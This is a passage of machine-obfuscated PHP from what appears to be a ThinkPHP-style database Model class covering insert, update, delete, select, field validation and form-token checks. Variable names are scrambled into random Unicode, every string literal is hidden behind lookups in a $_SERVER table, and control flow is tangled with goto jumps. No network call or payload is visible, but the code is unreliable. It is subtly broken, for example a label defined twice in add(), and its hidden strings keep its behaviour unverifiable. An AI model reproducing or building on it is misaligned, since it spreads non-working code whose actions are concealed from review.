isset($this->data[$B]); } public function __unset($Fʐ) { unset($this->data[$Fʐ]); } public function __call($Bņ, $e펍Ž) { $Aɞحܨ =& $_SERVER[ֹ]; if (in_array(strtolower($Bņ), $this->methods, !0)) { $this->options[strtolower($Bņ)] = $e펍Ž[0]; return $this; } elseif (in_array(strtolower($Bņ), array($Aɞحܨ[239], $Aɞحܨ[240], $Aɞحܨ[241], $Aɞحܨ[242], $Aɞحܨ[243]), !0)) { $dۍ = isset($e펍Ž[0]) ? $e펍Ž[0] : $Aɞحܨ[172]; $dۍ = $this->db->parseKey($dۍ); return $this->getField(strtoupper($Bņ) . $Aɞحܨ[244] . $dۍ . $Aɞحܨ[245] . $Bņ, $Aɞحܨ[239]); } elseif (strtolower(substr($Bņ, 0, 5)) == $Aɞحܨ[246]) { $dۍ = think_parse_name(substr($Bņ, 5)); $bݙ֯[$dۍ] = $e펍Ž[0]; return $this->where($bݙ֯)->find(); } elseif (strtolower(substr($Bņ, 0, 10)) == $Aɞحܨ[247]) { $dꇠғ = think_parse_name(substr($Bņ, 10)); $bݙ֯[$dꇠғ] = $e펍Ž[0]; return $this->where($bݙ֯)->getField($e펍Ž[1]); } elseif (isset($this->_scope[$Bņ])) { return $this->scope($Bņ, $e펍Ž[0]); } elseif (method_exists($this, $Bņ)) { array_unshift($e펍Ž, $Bņ); return call_user_func_array(array($this, $Aɞحܨ[248]), $e펍Ž); } else { return call_user_func_array(array(parent, $Bņ), $e펍Ž); } } protected function call() { goto d; AʄӨ: $c = call_user_func_array(array($this, $bɛ), $D޲); if (method_exists($this, $Cȡ۔[252])) { $c޾ = call_user_func_array(array($this, $Cȡ۔[253]), array($eú, $D޲, $c)); if ($c޾) { return $c޾; } } return $c; goto bۅȚ; d: $Cȡ۔ =& $_SERVER[ֹ]; $D޲ = func_get_args(); $bɛ = array_shift($D޲); goto F; Eէ: if (isset($D޲[$c]) && $D޲[$c] === $bɛ) { think_exception(__CLASS__ . $Cȡ۔[4] . $bɛ . think_lang($Cȡ۔[249])); return; } $D޲[] = $bɛ; if (method_exists($this, $Cȡ۔[250])) { $c޾ = call_user_func_array(array($this, $Cȡ۔[251]), array($eú, $D޲)); if (!is_null($c޾) && $c޾ !== !1) { return $c޾; } } goto AʄӨ; F: $eú = $bɛ; if (is_array($bɛ)) { $eú = $bɛ[1]; $bɛ = $bɛ[0]; } $c = count($D޲) - 1; goto Eէ; bۅȚ: } protected function _initialize() { } protected function _facade($Fΰ) { $Aӊ =& $_SERVER[ֹ]; if (!empty($this->fields)) { foreach ($Fΰ as $CΧ => $F޺) { if (!in_array($CΧ, $this->fields, !0)) { unset($Fΰ[$CΧ]); } elseif (is_scalar($F޺)) { $this->_parseType($Fΰ, $CΧ); } } } if (!empty($this->options[$Aӊ[254]])) { $Fΰ = array_map($this->options[$Aӊ[254]], $Fΰ); unset($this->options[$Aӊ[254]]); } $this->_beforeWrite($Fΰ); return $Fΰ; } protected function _beforeWrite(&$E) { } public function add($C짅 = '', $Bߒ§ = array(), $C = false) { goto F; F: if (empty($C짅)) { if (!empty($this->data)) { $C짅 = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ֹ][255]); return !1; } } $Bߒ§ = $this->_parseOptions($Bߒ§); $C짅 = $this->_facade($C짅); goto bˆ; D: return $AܽÙ; goto D; bˆ: if (!1 === $this->_beforeInsert($C짅, $Bߒ§)) { return !1; } $AܽÙ = $this->db->insert($C짅, $Bߒ§, $C); if (!1 !== $AܽÙ) { $B = $this->getLastInsID(); if ($B) { $C짅[$this->getPk()] = $B; $this->_after_insert($C짅, $Bߒ§); return $B; } $this->_after_insert($C짅, $Bߒ§); } goto D; D: } protected function _beforeInsert(&$BŒ첍, $B) { } protected function _after_insert($CΔ, $bʐ) { } public function addAll($Dȱ, $e͙ = array(), $c = false) { goto E؛; A䔣: return $B۷; goto f󠌙ǘ; Dґ: foreach ($Dȱ as $eӴ => $B) { $Dȱ[$eӴ] = $this->_facade($B); } if (method_exists($this->db, $fŐ[256])) { $B۷ = $this->db->insertAll($Dȱ, $e͙, $c); } else { $this->startTrans(); foreach ($Dȱ as $eӴ => $B) { $B۷ = $this->db->insert($B, $e͙, $c); } $this->commit(); } if (!1 !== $B۷) { $Fᶮؕ = $this->getLastInsID(); if ($Fᶮؕ) { return $Fᶮؕ; } } goto A䔣; E؛: $fŐ =& $_SERVER[ֹ]; if (empty($Dȱ)) { $this->error = think_lang($fŐ[255]); return !1; } $e͙ = $this->_parseOptions($e͙); goto Dґ; f󠌙ǘ: } public function selectAdd($a = '', $D۱ = '', $cݲ = array()) { $f =& $_SERVER[ֹ]; $cݲ = $this->_parseOptions($cݲ); if (!1 === ($fŐ = $this->db->selectInsert($a ? $a : $cݲ[$f[257]], $D۱ ? $D۱ : $this->getTableName(), $cݲ))) { $this->error = think_lang($f[258]); return !1; } else { return $fŐ; } } public function save($B™ = '', $Dކ𘚊 = array()) { goto Dݯϓ; Dݯϓ: $c׫ٞъ =& $_SERVER[ֹ]; if (empty($B™)) { if (!empty($this->data)) { $B™ = $this->data; $this->data = array(); } else { $this->error = think_lang($c׫ٞъ[255]); return !1; } } $B™ = $this->_facade($B™); goto cӐ; eǮኵ: if (!1 !== $aϷ) { if (isset($cʏݖ)) { $B™[$bʕШ] = $cʏݖ; } $this->_afterUpdate($B™, $Dކ𘚊); } return $aϷ; goto B̩۫; cӐ: $Dކ𘚊 = $this->_parseOptions($Dކ𘚊); $bʕШ = $this->getPk(); if (!isset($Dކ𘚊[$c׫ٞъ[259]])) { if (isset($B™[$bʕШ])) { $f[$bʕШ] = $B™[$bʕШ]; $Dކ𘚊[$c׫ٞъ[259]] = $f; unset($B™[$bʕШ]); } else { $this->error = think_lang($c׫ٞъ[258]); return !1; } } goto E֞ų; E֞ų: if (is_array($Dކ𘚊[$c׫ٞъ[259]]) && isset($Dކ𘚊[$c׫ٞъ[259]][$bʕШ])) { $cʏݖ = $Dކ𘚊[$c׫ٞъ[259]][$bʕШ]; } if (!1 === $this->_beforeUpdate($B™, $Dކ𘚊)) { return !1; } $aϷ = $this->db->update($B™, $Dކ𘚊); goto eǮኵ; B̩۫: } protected function _beforeUpdate(&$Eϳұ, $aϐ) { } protected function _afterUpdate($D, $Dٱ) { } public function delete($dʿ = array()) { goto a; D: $b֖Ү = $this->db->delete($dʿ); if (!1 !== $b֖Ү) { $A = array(); if (isset($a)) { $A[$F㇉] = $a; } $this->_after_delete($A, $dʿ); } return $b֖Ү; goto fۓ̙; aĶɌ: if (is_numeric($dʿ) || is_string($dʿ)) { if (strpos($dʿ, $A啹[47])) { $E𜩵[$F㇉] = array($A啹[260], $dʿ); } else { $E𜩵[$F㇉] = $dʿ; } $this->options[$A啹[259]] = $E𜩵; } $dʿ = $this->_parseOptions(); if (is_array($dʿ[$A啹[259]]) && isset($dʿ[$A啹[259]][$F㇉])) { $a = $dʿ[$A啹[259]][$F㇉]; } goto D; a: $A啹 =& $_SERVER[ֹ]; if (empty($dʿ) && empty($this->options[$A啹[259]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $F㇉ = $this->getPk(); goto aĶɌ; fۓ̙: } protected function _after_delete($aÂ, $A՘) { } public function select($A܃ = array()) { goto D; D: $A͢ =& $_SERVER[ֹ]; if (is_string($A܃) || is_numeric($A܃)) { $aЄ = $this->getPk(); if (strpos($A܃, $A͢[47])) { $E쉑͡[$aЄ] = array($A͢[260], $A܃); } else { $E쉑͡[$aЄ] = $A܃; } $this->options[$A͢[259]] = $E쉑͡; } elseif (!1 === $A܃) { $A܃ = $this->_parseOptions(); return $A͢[261] . $this->db->buildSelectSql($A܃) . $A͢[262]; } $A܃ = $this->_parseOptions(); goto Eڟ; cÞ: $this->_afterSelect($BϪ组, $A܃); return $BϪ组; goto c϶; Eڟ: $BϪ组 = $this->db->select($A܃); if (!1 === $BϪ组) { return !1; } if (empty($BϪ组)) { return null; } goto cÞ; c϶: } protected function _afterSelect(&$BԄ, $dΰ) { } public function buildSql($fđ = array()) { $dDž着 =& $_SERVER[ֹ]; $fđ = $this->_parseOptions($fđ); return $dDž着[261] . $this->db->buildSelectSql($fđ) . $dDž着[262]; } public function optionsValue($fޤ = null) { if (is_null($fޤ)) { return $this->options; } elseif (is_array($fޤ)) { $this->options = array_merge($this->options, $fޤ); } } protected function _parseOptions($Bёٕ = array()) { goto bȜ寙; bȜ寙: $D =& $_SERVER[ֹ]; if (is_array($Bёٕ)) { $Bёٕ = array_merge($this->options, $Bёٕ); } $this->options = array(); goto fǰ; dܙ: if (isset($Bёٕ[$D[259]]) && is_array($Bёٕ[$D[259]]) && !empty($A͡) && !isset($Bёٕ[$D[266]]) && !isset($Bёٕ[$D[263]])) { foreach ($Bёٕ[$D[259]] as $F => $A) { $F = trim($F); if (in_array($F, $A͡, !0)) { if (is_scalar($A)) { $this->_parseType($Bёٕ[$D[259]], $F); } } elseif (!is_numeric($F) && $D[70] != substr($F, 0, 1) && !1 === strpos($F, $D[91]) && !1 === strpos($F, $D[244]) && !1 === strpos($F, $D[267]) && !1 === strpos($F, $D[268])) { unset($Bёٕ[$D[259]][$F]); } } } $this->_options_filter($Bёٕ); return $Bёٕ; goto Dڜ; fǰ: if (!isset($Bёٕ[$D[263]])) { $Bёٕ[$D[263]] = $this->getTableName(); $A͡ = $this->fields; } else { $A͡ = $this->getDbFields(); } if (!empty($Bёٕ[$D[264]])) { $Bёٕ[$D[263]] .= $D[50] . $Bёٕ[$D[264]]; } $Bёٕ[$D[265]] = $this->name; goto dܙ; Dڜ: } protected function _options_filter(&$Aѭŗ) { } protected function _parseType(&$f, $aچ) { $bڐ͏ =& $_SERVER[ֹ]; if (empty($this->options[$bڐ͏[269]][$bڐ͏[4] . $aچ])) { $d = strtolower($this->fields[$bڐ͏[236]][$aچ]); if (!1 !== strpos($d, $bڐ͏[270])) { } elseif (!1 === strpos($d, $bڐ͏[271]) && !1 !== strpos($d, $bڐ͏[272])) { $f[$aچ] = intval($f[$aچ]); } elseif (!1 !== strpos($d, $bڐ͏[273]) || !1 !== strpos($d, $bڐ͏[274])) { $f[$aچ] = floatval($f[$aچ]); } elseif (!1 !== strpos($d, $bڐ͏[275])) { $f[$aچ] = (bool) $f[$aچ]; } } } public function find($C詸Ȅ = array()) { goto dޙ; C: if (!empty($this->options[$aʅʂ[277]])) { return $this->returnResult($this->data, $this->options[$aʅʂ[277]]); } return $this->data; goto d; dŖ: $C詸Ȅ = $this->_parseOptions(); $C䖜 = $this->db->select($C詸Ȅ); if (!1 === $C䖜) { return !1; } goto C؂; dޙ: $aʅʂ =& $_SERVER[ֹ]; if (is_numeric($C詸Ȅ) || is_string($C詸Ȅ)) { $c[$this->getPk()] = intval($C詸Ȅ); $this->options[$aʅʂ[259]] = $c; } $this->options[$aʅʂ[276]] = 1; goto dŖ; C؂: if (empty($C䖜)) { return null; } $this->data = $C䖜[0]; $this->_afterFind($this->data, $C詸Ȅ); goto C; d: } protected function _afterFind(&$f, $bу) { } protected function returnResult($bĄ, $f檶 = '') { $EҺ =& $_SERVER[ֹ]; if ($f檶) { if (is_callable($f檶)) { return call_user_func($f檶, $bĄ); } switch (strtolower($f檶)) { case $EҺ[278]: return json_encode($bĄ); case $EҺ[279]: return xml_encode($bĄ); } } return $bĄ; } public function parseFieldsMap($d, $Fퟎ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $Dߖީ => $bïď) { if ($Fퟎ == 1) { if (isset($d[$bïď])) { $d[$Dߖީ] = $d[$bïď]; unset($d[$bïď]); } } else { if (isset($d[$Dߖީ])) { $d[$bïď] = $d[$Dߖީ]; unset($d[$Dߖީ]); } } } } return $d; } public function setField($aҍ, $D׎ = '') { if (is_array($aҍ)) { $Eײ = $aҍ; } else { $Eײ[$aҍ] = $D׎; } return $this->save($Eײ); } public function setAdd($E칢, $dҬ = 1) { $C =& $_SERVER[ֹ]; $DܽĢ = $E칢 . $C[280] . $dҬ; if ($dҬ < 0) { $DܽĢ = $E칢 . $dҬ; } return $this->setField($E칢, array($C[281], $DܽĢ)); } public function getField($DÅ͒, $dނ = null) { $b =& $_SERVER[ֹ]; $b[$b[257]] = $DÅ͒; $b = $this->_parseOptions($b); $DÅ͒ = trim($DÅ͒); if (strpos($DÅ͒, $b[47])) { if (!isset($b[$b[276]])) { $b[$b[276]] = is_numeric($dނ) ? $dނ : $b[33]; } $bǩ = $this->db->select($b); if (!empty($bǩ)) { goto a񚭃; a񚭃: $aƒ = explode($b[47], $DÅ͒); $DÅ͒ = array_keys($bǩ[0]); $C㣃 = array_shift($DÅ͒); goto B; Aӈ: foreach ($bǩ as $c讜) { $eϖχ = $c讜[$C㣃]; if (2 == $F˄) { $A˷[$eϖχ] = $c讜[$dǵՖ]; } else { $A˷[$eϖχ] = is_string($dނ) ? implode($dނ, $c讜) : $c讜; } } return $A˷; goto b뢓҈; B: $dǵՖ = array_shift($DÅ͒); $A˷ = array(); $F˄ = count($aƒ); goto Aӈ; b뢓҈: } } else { if (!0 !== $dނ) { $b[$b[276]] = is_numeric($dނ) ? $dނ : 1; } if ($dނ === $b[239]) { unset($b[$b[276]]); } $c讜 = $this->db->select($b); if (!empty($c讜)) { if ($dނ === $b[239]) { return reset($c讜[0]); } if (!0 !== $dނ && 1 == $b[$b[276]]) { return reset($c讜[0]); } foreach ($c讜 as $AӅ) { $dɕ[] = $AӅ[$DÅ͒]; } return $dɕ; } } return null; } public function create($BЙ = '', $D툶Əէ = '') { goto cȣ; a묇: return $BЙ; goto Dȶԃ; cۇ: $BЙ = $this->parseFieldsMap($BЙ, 0); $D툶Əէ = $D툶Əէ ? $D툶Əէ : (!empty($BЙ[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$F[257]])) { $Bۆ֜Қ = $this->options[$F[257]]; unset($this->options[$F[257]]); } elseif ($D툶Əէ == THINK_MODEL_INSERT && isset($this->insertFields)) { $Bۆ֜Қ = $this->insertFields; } elseif ($D툶Əէ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $Bۆ֜Қ = $this->updateFields; } goto AǔЈ; dɴ: if ($this->autoCheckFields) { $Bۆ֜Қ = $this->getDbFields(); foreach ($BЙ as $BԆ => $e) { if (!in_array($BԆ, $Bۆ֜Қ)) { unset($BЙ[$BԆ]); } elseif (MAGIC_QUOTES_GPC && is_string($e)) { $BЙ[$BԆ] = stripslashes($e); } } } $this->autoOperation($BЙ, $D툶Əէ); $this->data = $BЙ; goto a묇; AǔЈ: if (isset($Bۆ֜Қ)) { if (is_string($Bۆ֜Қ)) { $Bۆ֜Қ = explode($F[47], $Bۆ֜Қ); } if (think_config($F[282])) { $Bۆ֜Қ[] = think_config($F[283]); } foreach ($BЙ as $BԆ => $e) { if (!in_array($BԆ, $Bۆ֜Қ)) { unset($BЙ[$BԆ]); } } } if (!$this->autoValidation($BЙ, $D툶Əէ)) { return !1; } if (!$this->autoCheckToken($BЙ)) { $this->error = think_lang($F[284]); return !1; } goto dɴ; cȣ: $F =& $_SERVER[ֹ]; if (empty($BЙ)) { $BЙ = $_POST; } elseif (is_object($BЙ)) { $BЙ = get_object_vars($BЙ); } if (empty($BЙ) || !is_array($BЙ)) { $this->error = think_lang($F[255]); return !1; } goto cۇ; Dȶԃ: } public function autoCheckToken($DÜ) { $e =& $_SERVER[ֹ]; if (isset($this->options[$e[285]]) && !$this->options[$e[285]]) { return !0; } if (think_config($e[282])) { $d͊Έ = think_config($e[283]); if (!isset($DÜ[$d͊Έ]) || Session::get($d͊Έ)) { return !1; } list($c§, $Dిд) = explode($e[70], $DÜ[$d͊Έ]); if ($Dిд && Session::get($d͊Έ . $e[91] . $c§) === $Dిд) { Session::remove($d͊Έ . $e[91] . $c§); return !0; } if (think_config($e[286])) { Session::remove($d͊Έ . $e[91] . $c§); } return !1; } return !0; } public function regex($Fڋò, $a) { $bɷȹ =& $_SERVER[ֹ]; $dꐄ = array($bɷȹ[287] => $bɷȹ[288], $bɷȹ[289] => $bɷȹ[290], $bɷȹ[291] => $bɷȹ[292], $bɷȹ[293] => $bɷȹ[294], $bɷȹ[295] => $bɷȹ[296], $bɷȹ[297] => $bɷȹ[298], $bɷȹ[299] => $bɷȹ[300], $bɷȹ[274] => $bɷȹ[301], $bɷȹ[302] => $bɷȹ[303]); if (isset($dꐄ[strtolower($a)])) { $a = $dꐄ[strtolower($a)]; } return preg_match($a, $Fڋò) === 1; } private function autoOperation(&$f, $b̹) { $b… =& $_SERVER[ֹ]; if (!empty($this->options[$b…[304]])) { $f = $this->options[$b…[304]]; unset($this->options[$b…[304]]); } elseif (!empty($this->_auto)) { $f = $this->_auto; } if (isset($f)) { foreach ($f as $aԊ) { if (empty($aԊ[2])) { $aԊ[2] = THINK_MODEL_INSERT; } if ($b̹ == $aԊ[2] || $aԊ[2] == THINK_MODEL_BOTH) { switch (trim($aԊ[3])) { case $b…[305]: case $b…[306]: $Dؾ͒ = isset($aԊ[4]) ? (array) $aԊ[4] : array(); if (isset($f[$aԊ[0]])) { array_unshift($Dؾ͒, $f[$aԊ[0]]); } if ($b…[305] == $aԊ[3]) { $f[$aԊ[0]] = call_user_func_array($aԊ[1], $Dؾ͒); } else { $f[$aԊ[0]] = call_user_func_array(array(&$this, $aԊ[1]), $Dؾ͒); } break; case $b…[257]: $f[$aԊ[0]] = $f[$aԊ[1]]; break; case $b…[307]: if ($b…[33] === $f[$aԊ[0]]) { unset($f[$aԊ[0]]); } break; case $b…[308]: default: $f[$aԊ[0]] = $aԊ[1]; } if (!1 === $f[$aԊ[0]]) { unset($f[$aԊ[0]]); } } } } return $f; } protected function autoValidation($e؃, $Bڶ) { $d񌋅 =& $_SERVER[ֹ]; if (!empty($this->options[$d񌋅[309]])) { $AӖܹ = $this->options[$d񌋅[309]]; unset($this->options[$d񌋅[309]]); } elseif (!empty($this->_validate)) { $AӖܹ = $this->_validate; } if (isset($AӖܹ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($AӖܹ as $DĦ => $cݰ) { if (empty($cݰ[5]) || $cݰ[5] == THINK_MODEL_BOTH || $cݰ[5] == $Bڶ) { if (0 == strpos($cݰ[2], $d񌋅[310]) && strpos($cݰ[2], $d񌋅[311])) { $cݰ[2] = think_lang(substr($cݰ[2], 2, -1)); } $cݰ[3] = isset($cݰ[3]) ? $cݰ[3] : THINK_EXISTS_VALIDATE; $cݰ[4] = isset($cݰ[4]) ? $cݰ[4] : $d񌋅[312]; switch ($cݰ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($e؃, $cݰ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($d񌋅[33] != trim($e؃[$cݰ[0]])) { if (!1 === $this->_validationField($e؃, $cݰ)) { return !1; } } break; default: if (isset($e؃[$cݰ[0]])) { if (!1 === $this->_validationField($e؃, $cݰ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($dܼ懄, $C֐) { if (!1 === $this->_validationFieldItem($dܼ懄, $C֐)) { if ($this->patchValidate) { $this->error[$C֐[0]] = $C֐[2]; } else { $this->error = $C֐[2]; return !1; } } return; } protected function _validationFieldItem($c֍, $Dղ) { $BʖƐ =& $_SERVER[ֹ]; switch (strtolower(trim($Dղ[4]))) { case $BʖƐ[305]: case $BʖƐ[306]: $DϬҨ = isset($Dղ[6]) ? (array) $Dղ[6] : array(); if (is_string($Dղ[0]) && strpos($Dղ[0], $BʖƐ[47])) { $Dղ[0] = explode($BʖƐ[47], $Dղ[0]); } if (is_array($Dղ[0])) { foreach ($Dղ[0] as $D놃) { $dނ[$D놃] = $c֍[$D놃]; } array_unshift($DϬҨ, $dނ); } else { array_unshift($DϬҨ, $c֍[$Dղ[0]]); } if ($BʖƐ[305] == $Dղ[4]) { return call_user_func_array($Dղ[1], $DϬҨ); } else { return call_user_func_array(array(&$this, $Dղ[1]), $DϬҨ); } case $BʖƐ[313]: return $c֍[$Dղ[0]] == $c֍[$Dղ[1]]; case $BʖƐ[314]: if (is_string($Dղ[0]) && strpos($Dղ[0], $BʖƐ[47])) { $Dղ[0] = explode($BʖƐ[47], $Dղ[0]); } $cϝ = array(); if (is_array($Dղ[0])) { foreach ($Dղ[0] as $D놃) { $cϝ[$D놃] = $c֍[$D놃]; } } else { $cϝ[$Dղ[0]] = $c֍[$Dղ[0]]; } if (!empty($c֍[$this->getPk()])) { $cϝ[$this->getPk()] = array($BʖƐ[315], $c֍[$this->getPk()]); } if ($this->where($cϝ)->find()) { return !1; } return !0; default: return $this->check($c֍[$Dղ[0]], $Dղ[1], $Dղ[4]); } } public function check($c❈ٮ, $BԿۢ, $C— = "\x72\x65\147\x65\x78") { $c鱎 =& $_SERVER[ֹ]; $C— = strtolower(trim($C—)); switch ($C—) { case $c鱎[7]: case $c鱎[316]: $b = is_array($BԿۢ) ? $BԿۢ : explode($c鱎[47], $BԿۢ); return $C— == $c鱎[7] ? in_array($c❈ٮ, $b) : !in_array($c❈ٮ, $b); case $c鱎[317]: case $c鱎[318]: if (is_array($BԿۢ)) { $Aό = $BԿۢ[0]; $C͎Ǫ = $BԿۢ[1]; } else { list($Aό, $C͎Ǫ) = explode($c鱎[47], $BԿۢ); } return $C— == $c鱎[317] ? $c❈ٮ >= $Aό && $c❈ٮ <= $C͎Ǫ : $c❈ٮ < $Aό || $c❈ٮ > $C͎Ǫ; case $c鱎[319]: case $c鱎[320]: return $C— == $c鱎[319] ? $c❈ٮ == $BԿۢ : $c❈ٮ != $BԿۢ; case $c鱎[321]: $B = mb_strlen($c❈ٮ, $c鱎[322]); if (strpos($BԿۢ, $c鱎[47])) { list($Aό, $C͎Ǫ) = explode($c鱎[47], $BԿۢ); return $B >= $Aό && $B <= $C͎Ǫ; } else { return $B == $BԿۢ; } case $c鱎[323]: list($A漘ľ, $A) = explode($c鱎[47], $BԿۢ); if (!is_numeric($A漘ľ)) { $A漘ľ = strtotime($A漘ľ); } if (!is_numeric($A)) { $A = strtotime($A); } return NOW_TIME >= $A漘ľ && NOW_TIME <= $A; case $c鱎[324]: return in_array(get_client_ip(), explode($c鱎[47], $BԿۢ)); case $c鱎[325]: return !in_array(get_client_ip(), explode($c鱎[47], $BԿۢ)); case $c鱎[312]: default: return $this->regex($c❈ٮ, $BԿۢ); } } public function query($Aό, $A㍅Ш = false) { $bϊڲ =& $_SERVER[ֹ]; if (!is_bool($A㍅Ш) && !is_array($A㍅Ш)) { $A㍅Ш = func_get_args(); array_shift($A㍅Ш); } $Aό = str_replace(array($bϊڲ[213], $bϊڲ[326]), $bϊڲ[50], $Aό); $Aό = $this->parseSql($Aό, $A㍅Ш); return $this->db->query($Aό); } public function execute($eɡڊ, $fư = false) { if (!is_bool($fư) && !is_array($fư)) { $fư = func_get_args(); array_shift($fư); } $eɡڊ = $this->parseSql($eɡڊ, $fư); return $this->db->execute($eɡڊ); } protected function parseSql($bㅵ, $B߇) { $cτ =& $_SERVER[ֹ]; if (!0 === $B߇) { $a쉰 = $this->_parseOptions(); $bㅵ = $this->db->parseSql($bㅵ, $a쉰); } elseif (is_array($B߇)) { $B߇ = array_map(array($this->db, $cτ[327]), $B߇); $bㅵ = vsprintf($bㅵ, $B߇); } else { $bㅵ = strtr($bㅵ, array($cτ[328] => $this->getTableName(), $cτ[329] => think_config($cτ[228]))); } $this->db->setModel($this->name); return $bㅵ; } public function db($e = '', $F鿅 = '', $BӞ = array()) { goto e仭; D: $eޑ[$e] = $F鿅; $this->db = $a[$e]; $this->_after_db(); goto A䬉; e仭: $B =& $_SERVER[ֹ]; if ($B[33] === $e && $this->db) { return $this->db; } static $eޑ = array(); goto b; b: static $a = array(); if (!isset($a[$e]) || isset($a[$e]) && $F鿅 && $eޑ[$e] != $F鿅) { if (!empty($F鿅) && is_string($F鿅) && !1 === strpos($F鿅, $B[8])) { $F鿅 = think_config($F鿅); } $a[$e] = Db::getInstance($F鿅); } elseif (NULL === $F鿅) { $a[$e]->close(); unset($a[$e]); return; } if (!empty($BӞ)) { if (is_string($BӞ)) { parse_str($BӞ, $BӞ); } foreach ($BӞ as $B => $aԋ⑉) { $this->setProperty($B, $aԋ⑉); } } goto D; A䬉: if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; goto E; E: } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $b쫐 = get_class($this); if ($b쫐 == $_SERVER[ֹ][330]) { return $this->name; } $this->name = substr($b쫐, 0, -5); } return $this->name; } public function getTableName() { $bѲ۴ =& $_SERVER[ֹ]; if (empty($this->trueTableName)) { $cగĪ = !empty($this->tablePrefix) ? $this->tablePrefix : $bѲ۴[33]; if (!empty($this->tableName)) { $cగĪ .= $this->tableName; } else { $cగĪ .= think_parse_name($this->name); } $this->trueTableName = strtolower($cగĪ); } return (!empty($this->dbName) ? $this->dbName . $bѲ۴[91] : $bѲ۴[33]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $F =& $_SERVER[ֹ]; return isset($this->fields[$F[235]]) ? $this->fields[$F[235]] : $this->pk; } public function getDbFields() { $bα =& $_SERVER[ֹ]; if (isset($this->options[$bα[263]])) { $bݓ = $this->db->getFields($this->options[$bα[263]]); return $bݓ ? array_keys($bݓ) : !1; } if ($this->fields) { $bݓ = $this->fields; unset($bݓ[$bα[234]], $bݓ[$bα[235]], $bݓ[$bα[236]], $bݓ[$bα[233]]); return $bݓ; } return !1; } public function data($e楖 = '') { $d =& $_SERVER[ֹ]; if ($d[33] === $e楖 && !empty($this->data)) { return $this->data; } if (is_object($e楖)) { $e楖 = get_object_vars($e楖); } elseif (is_string($e楖)) { parse_str($e楖, $e楖); } elseif (!is_array($e楖)) { think_exception(think_lang($d[255])); } $this->data = $e楖; return $this; } public function join($D̎) { $A =& $_SERVER[ֹ]; if (is_array($D̎)) { $this->options[$A[266]] = $D̎; } elseif (!empty($D̎)) { $this->options[$A[266]][] = $D̎; } return $this; } public function union($Dċ, $D = false) { goto bܫ; aӜ: return $this; goto bڶ; e: if (is_object($Dċ)) { $Dċ = get_object_vars($Dċ); } if (is_string($Dċ)) { $d񼩰 = $Dċ; } elseif (is_array($Dċ)) { if (isset($Dċ[0])) { $this->options[$bϥ[331]] = array_merge($this->options[$bϥ[331]], $Dċ); return $this; } else { $d񼩰 = $Dċ; } } else { think_exception(think_lang($bϥ[255])); } $this->options[$bϥ[331]][] = $d񼩰; goto aӜ; bܫ: $bϥ =& $_SERVER[ֹ]; if (empty($Dċ)) { return $this; } if ($D) { $this->options[$bϥ[331]][$bϥ[332]] = !0; } goto e; bڶ: } public function cache($Fԟ = true, $E˜ = null, $f = '') { $a· =& $_SERVER[ֹ]; if (!1 !== $Fԟ) { $this->options[$a·[333]] = array($a·[89] => $Fԟ, $a·[323] => $E˜, $a·[29] => $f); } return $this; } public function field($Dՠ, $B̊ = false) { $b쩻 =& $_SERVER[ֹ]; if (!0 === $Dՠ) { $fԸ = $this->getDbFields(); $Dՠ = $fԸ ? $fԸ : $b쩻[172]; } elseif ($B̊) { if (is_string($Dՠ)) { $Dՠ = explode($b쩻[47], $Dՠ); } $fԸ = $this->getDbFields(); $Dՠ = $fԸ ? array_diff($fԸ, $Dՠ) : $Dՠ; } $this->options[$b쩻[257]] = $Dՠ; return $this; } public function scope($cⴼ = '', $dэ = NULL) { $f =& $_SERVER[ֹ]; if ($f[33] === $cⴼ) { if (isset($this->_scope[$f[34]])) { $d͈֩ = $this->_scope[$f[34]]; } else { return $this; } } elseif (is_string($cⴼ)) { $dߒٍ = explode($f[47], $cⴼ); $d͈֩ = array(); foreach ($dߒٍ as $e嶔) { if (!isset($this->_scope[$e嶔])) { continue; } $d͈֩ = array_merge($d͈֩, $this->_scope[$e嶔]); } if (!empty($dэ) && is_array($dэ)) { $d͈֩ = array_merge($d͈֩, $dэ); } } elseif (is_array($cⴼ)) { $d͈֩ = $cⴼ; } if (is_array($d͈֩) && !empty($d͈֩)) { $this->options = array_merge($this->options, array_change_key_case($d͈֩)); } return $this; } public function where($c, $bŹ = null) { $Bɑ =& $_SERVER[ֹ]; if (!is_null($bŹ) && is_string($c)) { if (!is_array($bŹ)) { $bŹ = func_get_args(); array_shift($bŹ); } $bŹ = array_map(array($this->db, $Bɑ[327]), $bŹ); $c = vsprintf($c, $bŹ); } elseif (is_object($c)) { $c = get_object_vars($c); } elseif (is_array($c)) { foreach ($c as $e֓ => $A) { if ((is_numeric($e֓) || !$e֓) && is_string($A)) { think_trace($Bɑ[334], $Bɑ[33], $Bɑ[46]); die; } } } if (is_string($c) && $Bɑ[33] != $c) { $b = array(); $b[$Bɑ[335]] = $c; $c = $b; } if (isset($this->options[$Bɑ[259]])) { $this->options[$Bɑ[259]] = array_merge($this->options[$Bɑ[259]], $c); } else { $this->options[$Bɑ[259]] = $c; } return $this; } public function limit($E, $bˢф = null) { $bڂ҅ =& $_SERVER[ֹ]; $this->options[$bڂ҅[276]] = is_null($bˢф) ? $E : $E . $bڂ҅[47] . $bˢф; return $this; } public function page($D, $Aƶ = null) { $DƊ =& $_SERVER[ֹ]; $this->options[$DƊ[336]] = is_null($Aƶ) ? $D : $D . $DƊ[47] . $Aƶ; return $this; } public function comment($Dۇ) { $this->options[$_SERVER[ֹ][337]] = $Dۇ; return $this; } public function setProperty($D󬉐, $e) { if (property_exists($this, $D󬉐)) { $this->{$D󬉐} = $e; } return $this; } } goto e; a: class SessionModel 